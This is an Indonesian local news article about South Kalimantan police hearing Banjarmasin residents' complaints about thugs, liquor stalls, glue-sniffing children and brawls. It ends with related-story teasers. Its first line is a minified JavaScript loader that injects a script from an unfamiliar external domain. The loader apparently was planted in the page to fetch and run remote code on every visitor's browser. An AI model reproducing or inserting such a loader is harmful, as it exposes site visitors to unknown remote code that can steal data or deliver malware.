(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Polda Kalimantan Selatan bersama Polresta Banjarmasin, kembali menggelar Jumat Curhat bersama warga Kota Banjarmasin dan komunitas Ojek Online Se Kota Banjarmasin.
Kegiatan yang digelar Jumat (6/12/2022) siang di Warung Apung Jalan Martadinata Kota Banjarmasin itu menjadi spesial, lantaran langsung dihadiri oleh Kapolda Kalimantan Selatan, Irjen Pol Andi Rian dan Kapolresta Banjarmasin Kombes Pol Sabana A.
Sejumlah masyarakat dan para ojek online pada kesempatan tersebut menyapaikan sejumlah keluh kesahnya, ada tentang kemananan, premanisme, tawuran dan kenakalan remaja, hingga tindak pidana lainnya.
Salah satu warga Sungai Baru, Ibnu menyampaikan keresahan masyarakat diwilayahnya karena terdapat warung yang berjualan minuman keras.
Baca juga : ‘Bola Panas’ Wacana Pemindahan Ibu Kota Batola, Mimpi Rifqinizamy Tuai Kontra!
“Di wilayah Sungai Baru juga ada kedok, berkedok warung tapi jualan miras, mohon ditertibkan” katanya.
Lanjutnya, jika warga dibuat resah karena setiap malam banyak preman berkeliaran di sekitar Siring Ketupat wilayah Sungai Baru. Sehingga dirinya meminta untuk petugas keamanan rutin melaksanakan patroli disekitar lokasi tersebut.
Disisi lain Lurah Pasar Lama, Yandi Gunawan mengungkapkan keprihatiannya terhadap para anak-anak diwilayahnya yang menghirup lem yang menyebabkan mabuk.
“Diwilayah Pasar Lama saya sedih melihat anak SD sudah bisa ngelem, dampknya sudah hampir mirip narkoba,” ujar Gunawan.
Baca juga : Harga Cabai di Batulicin Meroket Pasca Perayaan Natal dan Tahun Baru
Warganya juga dibuat resah dengan para anak-anak punk yang sering nongkrong di Siring Pasar Lama, bahkan dikatakan Gunawan mereka tidak jarang berolah seperti melakukan tawuran.
“Diwilayah saya kalau malam banyak anak punk, mereka bahkan tidak jarang tawuran di sekitar Siring Pasar Lama” katanya.
“Bahkan 2 hari lalu kejadian sesama pengamen berkelahi di Simpang Empat Pasar Lama,” tambah Lurah Pasar Lama, Yandi Gunawan.
Mendengar keluh kesah warga Kota Banjarmasin, Kapolda Kalimantan Selatan segera melakukan tindakan dengan memerintahkan Kapolresta Banjarmasin dan Satreskrim untuk menindaklajuti aduan masyarakat seperti warung yang menjual Miras.
Baca juga : Minim Penerangan, Disperkim Banjarbaru Siapkan Rp1,7 Miliar untuk PJU di Trikora
Terkait kenakanlah remaja, Andi Rian mengatakan jika orang tua sangat berperan terhadap perilaku anak, sehingga menurutnya pendekatan pembinaan harus dilakukan untuk meminimalisir kenakan remaja seperti tawuran, premanisme, dan tindak pidana lainnya.
“Maslah preman sudah ditindak lanjuti, ini juga bagian dari kenakalan remaja. Kita sebagai orang tua juga bertanggung jawab meningkatkan anak-anak kita,” ujarnya.
“Pendekatan yang dilakukan harus pendekatan pembinaan dulu, bekerja sama dengan Kamtibmas,” Pungkas Kapolda Kalsel, Irjen Andi Rian. (Kanalkalimantan.com/rizki)
Reporter : Rizki
Editor : Rdy
KANALKALIMANTAN.COM, AMUNTAI - Wujud kepedulian Pengurus Cabang (PC) Nahdatul Ulama (NU) Alabio menyalurkan bantuan kepada… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Demontrasi tolak Pilkada melalui DPRD di Banjarmasin memakan korban dari mahasiswa imbas… Read More
KANALKALIMANTAN.VOM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mulai menyelaraskan kebijakan daerah untuk mendukung program prioritas… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Ratusan mahasiswa masuk ke gedung DPRD Kalimantan Selatan (Kalsel) untuk menyampaikan penolakan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Sekretaris Daerah (Sekda) Kabupaten Kapuas Usis I Sangkai memimpin rapat koordinasi… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mematangkan langkah sosialisasi PT Taspen bagi Pegawai Pemerintah… Read More
This website uses cookies.